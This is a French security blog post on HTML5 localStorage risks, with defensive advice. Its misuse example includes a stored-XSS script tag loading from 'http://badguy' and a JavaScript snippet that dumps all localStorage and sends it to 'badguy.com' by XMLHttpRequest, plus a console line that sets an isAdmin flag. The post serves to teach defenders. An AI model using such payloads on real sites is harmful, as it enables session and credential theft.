Dans le cadre de ses activités de recherche, Intrinsec s’est intéressé aux fonctionnalités et risques introduits par l’arrivée d’HTML5. Ce billet traite des nouvelles APIs de stockage dont la mauvaise utilisation pourrait avoir un impact majeur sur l’application et, éventuellement, sur la société l’hébergeant.
HTML 5 introduit une nouvelle API de stockage local, permettant de stocker des données structurées côté client et de faciliter le développement d’applications « hors-lignes ». Cette API est constituée de deux mécanismes : sessionStorage et localStorage. Cette dernière permet de stocker les données de façon persistante, en les insérant dans la base de données du navigateur, tandis que sessionStorage stocke les données dans le cache du navigateur (elles seront supprimées dès la fermeture de la page).
Par mesure de sécurité, chaque entrée du sessionStorage/localStorage est propre à une « Origin » (cf. SOP ). Ainsi, les données d’une application d’un domaine A ne sont pas accessibles depuis un domaine B.
Concrètement, comment l’utilise-t-on ?
Voici ci-dessous un exemple de l’utilisation de la directive localStorage permettant de compter le nombre de fois qu’un internaute d’un domaine a vu cette page :
<p>
You have viewed this page
<span>an untold number of</span>
time(s).
</p>
if (!localStorage.pageLoadCount) {
localStorage.pageLoadCount = 0;
}
localStorage.pageLoadCount = parseInt(localStorage.pageLoadCount) + 1;
document.getElementById('count').textContent = localStorage.pageLoadCount;
Comme le suggèrent ces quelques lignes, ce mécanisme repose en fait sur un tableau associatif, propre à chaque « Origin ».
Exemples de mauvaise utilisation
TL;DR Les cas d’étude cités ici sont identiques à ceux que l’on rencontre en général dans une session HTTP standard : gestion des mots de passe par session, des droits, etc.
Le cas suivant illustre une mauvaise utilisation du local storage : une application, permettant à l’utilisateur de poster des messages, enregistre les identifiants du client grâce à ce mécanisme, pensant ainsi lui éviter une reconnexion systématique. Cependant, il s’avère qu’elle est vulnérable à une stored XSS (Cross Site Scripting) et un attaquant a pu y insérer du JavaScript.
Pour rappel, cette attaque consiste à enregistrer du code malveillant qui sera exécuté à chaque affichage de la page par un utilisateur.
Ainsi, lorsque celui-ici utilisera l’application, la page suivante sera affichée :
<button>Send</button>
<div class="message">Message 1</div>
<div class="message">Message 2</div>
<div class="message">
<script src='http://badguy/getLocalStorage.js'></script>
</div>
et le script « getLocalStorage.js » contient les lignes :
dump = "";
for(i = 0; i < localStorage.length; i++) {
dump += localStorage.key(i) + "%20%3D%20" +
localStorage.getItem(localStorage.key(i)) + "%0A";
}
var http = new XMLHttpRequest();
http.open(« GET », « http://badguy.com/?data= » + dump);
http.send();
Au final, l’attaquant récupérera l’ensemble des informations du client, et notamment ses identifiants.
Autre scénario : les développeurs d’une application ont choisi de stocker les droits associés à un utilisateur dans le local storage. On peut ainsi y trouver qu’un utilisateur lambda possède un attribut « Admin » fixé à « false ». Il pourra cependant modifier ce statut en se rendant sur l’application en question et, dans une console Javascript, entrer une ligne telle que :
localStorage.user.isAdmin = true
Que faut-il en retenir ?
En soi, l’élément dangereux n’est pas le local storage, mais sa mauvaise utilisation. Ainsi, ne doivent jamais être stockées des données sensibles telles que les identifiants de sessions ; il est préférable d’utiliser des cookies, conjointement à l’option « httpOnly ». De la même façon, le local storage ne doit pas être utilisé pour implanter la gestion des droits.
Notons que cette recommandation est similaire à celles que l’on peut lire pour les sessions classiques (PHP, J2EE, etc.).
En outre, il ne faut pas systématiquement préférer le localStorage au sessionStorage, puisque ce dernier ne conserve les données que jusqu’à fermeture de la fenêtre.
Enfin, un objet stocké est propre à une « Origin ». Etant donné que l’API de stockage ne dispose pas d’attribut tel que le Path disponible dans
les cookies, une faille XSS sur n’importe quelle page pourrait conduire à une fuite sur l’ensemble du site. Si cette API doit vraiment être utilisée, il est plus sûr d’utiliser différents sous-domaines plutôt qu’un seul domaine global.
D’un point de vue pentester…
Il est possible de connaître l’ensemble des données stockées par l’application en entrant dans une console javascript les lignes suivantes – en fait presque identiques à celles de l’attaquant nommé précédemment :
var dump = "";
for(i = 0; i < localStorage.length; i++) {
dump += localStorage.key(i) + " = " + localStorage.getItem(localStorage.key(i)) + "\n";
}
console.log(dump) ;
Pour un code plus complet, se référer au framework proposé par « AppSec ».